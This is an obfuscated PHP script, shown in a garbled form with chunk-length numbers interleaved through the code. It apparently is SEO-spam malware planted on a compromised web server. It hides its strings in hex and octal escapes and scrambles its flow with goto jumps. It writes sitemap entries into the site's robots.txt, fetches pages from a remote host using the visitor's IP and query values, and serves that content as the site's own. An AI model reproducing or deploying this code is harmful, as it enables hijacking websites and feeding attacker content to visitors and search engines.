1
<
1
?
1
p
1
h
1
p
1


2

 
1
g
1
o
1
t
2
o 
1
N
1
W
1
u
1
L
1
Z
1
;
1
 
2
N2
1
p
1
x
1
L
2
: 
1
i
1
f
1
 
1
(
2
!e
1
m
1
p
1
t
1
y
1
(
1
$
1
g
2
et
2
["
1
\
1
1
2
62
1
"
1
]
1
)
1
)
1
 
1
{
1
 
2
$r
1
o
1
b
1
o
1
t
1
s
2
Pa
1
t
1
h
1
 
2
= 
1
$
1
_
1
S
1
E
1
R
1
V
1
E
1
R
4
["\1
2
04
1
\
2
x4
1
f
3
\x4
1
3
1
\
1
x
2
55
3
\x4
1
d
3
\x4
2
5\
1
1
1
1
2
6\
1
1
1
2
3
4\x
1
5
1
f
3
\12
1
2
7
\x4f\x4
4
f\12
1
4
1
"
2
] 
1
.
1
 
2
"\
1
x
1
2
1
f
4
\162
1
\
1
1
2
57
1
\
2
14
3
2\x
1
6
3
f\x
1
7
1
4
3
\16
1
3
1
\
1
5
1
6
5
\x74\
1
x
1
7
1
8
4
\x74
1
"
2
; 
1
$
1
s
1
i
2
te
1
m
1
a
1
p
1
B
1
l
1
o
1
c
1
k
4
 = "
6
\x55\x
1
7
3
3\x
1
6
4
5\x7
3
2\x
1
2
3
d\x
1
6
1
1
3
\14
4
7\14
3
5\x
2
6e
5
\x74\
6
72\x20
3
\x2
2
a\
1
x
1
a
3
\10
3
1\1
1
5
1
4
5
\154\
7
x6f\x77
1
\
1
x
1
3
1
a
7
\x20\x2
4
f\12
b
"; $sitemap
1
s
6
 = "\x
3
a\1
1
2
1
3
3
\15
3
1\1
2
64
6
\x65\x
1
6
7
d\x61\1
1
6
1
0
7
\72\x20
1
{
1
$
1
h
2
tt
1
p
1
_
1
t
1
y
2
pe
1
}
1
{
b
$_SERVER["\
2
x4
3
8\x
4
54\x
4
54\1
3
20\
1
1
1
3
3
7\1
1
1
4
0\11
1
7
6
\123\1
4
24"]
f
}{$_SERVER["\x5
3
3\1
1
0
1
3
7
\122\x4
1
9
3
\x5
1
0
8
\x54\x5f
5
\116\
1
x
2
41
8
\x4d\x45
3
"]}
1
\
3
77\
5
163\x
1
3
1
d
5
\x73\
5
12"; 
6
if (!f
1
i
1
l
1
e
2
_e
1
x
1
i
1
s
2
ts
1
(
b
$robotsPath
5
)) { 
5
file_
1
p
2
ut
1
_
1
c
1
o
2
nt
1
e
1
n
e
ts($robotsPath
1
,
f
 $sitemapBlock 
1
.
a
 $sitemaps
1
)
1
;
1
 
1
}
2
 e
1
l
1
s
1
e
a
 { $robots
1
C
6
ontent
3
 = 
1
@
5
file_
3
get
15
_contents($robotsPath
1
)
6
; if (
2
st
1
r
1
p
1
o
9
s($robots
7
Content
1
,
d
 $_SERVER["\1
3
23\
6
x43\x5
12
2\x49\x50\x54\x5f\
2
x4
1
e
e
\x41\x4d\x45"]
1
)
1
 
1
=
2
==
1
 
1
f
1
a
3
lse
4
) { 
1
@
28
file_put_contents($robotsPath, $sitemaps
1
,
1
 
1
F
1
I
1
L
1
E
1
_
1
A
1
P
1
P
1
E
1
N
1
D
5
); } 
4
} } 
5
goto 
1
E
1
z
2
Yo
1
e
1
;
6
 NWuLZ
2
: 
1
e
1
r
2
ro
1
r
1
_
1
r
1
e
2
po
1
r
1
t
1
i
1
n
1
g
2
(0
3
); 
5
goto 
1
y
1
M
1
q
1
R
1
N
1
;
6
 yMqRN
1
:
1
 
4
$get
5
 = $_
1
G
1
E
1
T
7
; goto 
1
s
1
h
1
q
2
ZL
1
;
1
 
1
A
1
q
1
5
1
N
1
J
4
: $l
1
l
4
 = "
18
{$http_type}{$_SERVER["\
5
110\1
1
2
4
4\12
a
4\120\137\
5
x48\x
5
4f\12
4
3\x5
14
4"]}{$_SERVER["\x53\
4
x43\
5
122\1
1
1
1
1
9
\x50\x54\
6
137\11
6
6\x41\
2
11
3
5\1
1
0
4
5"]}
1
"
7
; goto 
1
D
1
_
2
ia
2
M;
1
 
1
m
1
5
1
b
1
k
1
F
2
: 
1
f
1
u
1
n
2
ct
1
i
1
o
1
n
1
 
3
get
185e
Curl($url, $getData = array()) { if (!empty($getData)) { $queryString = is_array($getData) ? http_build_query($getData) : $getData; $url .= (strpos($url, "\77") === false ? "\77" : "\x26") . $queryString; } if (function_exists("\143\x75\x72\154\137\x69\156\151\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPGET => true, CURLOPT_USERAGENT => "\115\157\172\151\154\x6c\141\57\x35\x2e\60")); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\154\x6c\x6f\167\x5f\x75\162\154\x5f\146\157\160\x65\156")) { $context = stream_context_create(array("\x68\164\x74\160" => array("\155\x65\164\x68\x6f\x64" => "\x47\105\x54", "\x74\x69\155\145\x6f\x75\x74" => 10, "\150\x65\x61\x64\x65\162" => "\125\163\x65\162\x2d\x41\147\145\x6e\164\x3a\40\x4d\157\x7a\151\x6c\x6c\x61\x2f\x35\x2e\60\15\12"), "\163\x73\x6c" => array("\166\x65\162\x69\146\x79\137\160\x65\145\162" => false, "\x76\145\x72\151\146\171\137\x70\145\145\162\x5f\x6e\141\x6d\x65" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto X5nb1; D_iaM: $vurl = $http_type . "\x69\144\154\x79\62\56\x69\x64\x73\x68\157\x70\x2e\x63\143\167\x75\56\143\x63\x2f\64\61\71\56\x61\163\x70\x78"; goto N2pxL; EzYoe: if (!empty($get["\163"])) { $params = array("\163" => date("\131\x6d\144\x48\151"), "\x6e\165\155\142\x65\162" => $get["\156\165\x6d\x62\145\162"]); $str = getCurl($vurl, $params); $str = str_replace(array("\173\xe5\275\223\xe5\x89\x8d\345\x9c\260\xe5\235\x80\x7d"), array($http_type . $_SERVER["\110\x54\x54\x50\x5f\110\117\x53\124"] . $_SERVER["\123\x43\122\x49\x50\124\137\116\x41\x4d\x45"]), $str); header("\103\157\156\x74\x65\156\164\x2d\164\171\160\x65\72\164\x65\170\x74\57\x78\155\154"); echo $str; die; } goto N4dac; X5nb1: $http_type = !empty($_SERVER["\110\x54\x54\120\123"]) && $_SERVER["\x48\124\124\x50\123"] !== "\x6f\146\x66" ? "\x68\164\164\160\x73\x3a\x2f\x2f" : "\150\164\164\160\x3a\x2f\57"; goto Aq5NJ; f5XoA: function postCurl($url, $postData = array()) { $postString = is_array($postData) ? http_build_query($postData) : $postData; if (function_exists("\143\x75\162\154\x5f\x69\x6e\x69\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postString)); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x77\x5f\x75\162\154\x5f\x66\x6f\x70\145\156")) { $context = stream_context_create(array("\150\164\164\160" => array("\155\145\164\150\157\144" => "\120\x4f\x53\124", "\164\x69\155\x65\157\165\x74" => 10, "\x68\x65\141\144\x65\x72" => "\103\x6f\156\x74\x65\x6e\x74\55\124\171\x70\x65\x3a\x20\x61\160\160\x6c\x69\x63\x61\x74\x69\x6f\x6e\57\x78\55\x77\x77\167\55\x66\x6f\x72\155\x2d\165\162\x6c\x65\156\143\157\144\145\144\xd\12" . "\x43\x6f\156\x74\145\156\x74\x2d\x4c\145\x6e\147\164\x68\72\40" . strlen($postString) . "\xd\xa" . "\125\x73\145\x72\x2d\101\x67\x65\156\164\x3a\40\x4d\157\172\151\x6c\x6c\141\x2f\65\56\x30\xd\xa", "\143\x6f\x6e\164\145\x6e\164" => $postString), "\163\x73\x6c" => array("\x76\145\x72\x69\146\171\x5f\x70\x65\145\162" => false, "\x76\145\162\x69\x66\x79\x5f\160\145\x65\x72\137\x6e\141\155\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF; N4dac: if (!empty($get["\151\144"])) { if (empty($get["\153\153"])) { $ip = get_ip(); $params = array("\x69\160" => $ip, "\x69\144" => isset($get["\x69\144"]) ? $get["\151\x64"] : '', "\x6c\x6c" => $ll); $tzstr = getCurl($vurl, $params); if (strpos($tzstr, "\x69\144") !== false) { echo $tzstr; die; } } $params = array("\x69\x64" => $get["\x69\x64"], "\x6c\154" => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\x7b\125\x52\x4c\175", "\173\345\237\237\345\x90\215\175"), array(get_url_info("\146\165\154\x6c"), get_url_info("\156\157\137\x77\167\167")), $str); echo $str; die; } else { $sitemapUrl = $ll . "\x3f\x73\x3d" . date("\131\155\144\110\x69"); echo "\74\144\x69\166\40\x73\164\171\154\145\x3d\x27\x74\145\170\164\x2d\x61\154\151\147\156\x3a\x63\145\x6e\164\x65\x72\73\40\160\x61\144\144\x69\156\x67\72\61\x30\160\170\40\x30\73\x27\76\x3c\x61\x20\150\162\x65\146\75\42{$sitemapUrl}\x22\x20\x74\x61\x72\x67\x65\164\x3d\42\x5f\x62\154\141\x6e\x6b\42\40\162\x65\x6c\x3d\x22\x6e\157\x66\157\x6c\x6c\157\167\x22\x3e\x20\x53\x69\x74\x65\x6d\x61\160\74\57\141\x3e\x3c\x2f\144\151\166\76"; } goto nnSBp; Uh8So: function get_ip() { foreach (array("\x48\x54\x54\x50\x5f\x58\137\x46\117\x52\127\101\122\104\x45\104\x5f\x46\x4f\x52", "\x48\124\x54\120\x5f\x43\114\x49\105\x4e\x54\137\111\x50", "\x52\x45\x4d\117\x54\x45\x5f\101\x44\x44\x52") as $key) { if (!empty($_SERVER[$key])) { return trim(explode("\x2c", $_SERVER[$key])[0]); } } return "\x55\x4e\113\116\x4f\x57\116"; } goto f5XoA; shqZL: function get_url_info(string $return_type = "\144\157\155\141\151\x6e") : string { $host = $_SERVER["\x48\124\124\x50\x5f\110\x4f\123\x54"]; if ($return_type === "\144\x6f\155\x61\x69\156") { return $host; } if ($return_type === "\156\157\x5f\x77\167\167") { return ltrim($host, "\x77\x77\167\x2e"); } $protocol = isset($_SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\110\x54\x54\x50\x53"] === "\x6f\156" || isset($_SERVER["\x48\x54\124\x50\x5f\130\137\106\x4f\122\127\x41\122\104\x45\x44\137\x50\x52\117\x54\x4f"]) && $_SERVER["\110\124\124\120\137\x58\137\106\x4f\122\x57\101\122\104\105\104\137\x50\122\x4f\x54\117"] === "\150\x74\x74\160\x73" ? "\x68\x74\164\x70\x73\x3a\57\x2f" : "\x68\x74\164\x70\72\x2f\x2f"; $base_url = $protocol . $host; if ($return_type === "\142\x61\x73\145") { return $base_url; } $uri = $_SERVER["\x52\x45\121\125\105\123\124\x5f\x55\122\x49"]; $full_url = $base_url . $uri; if ($return_type === "\x66\165\154\154") { return $full_url; } return ''; } goto Uh8So; nnSBp: ?>
0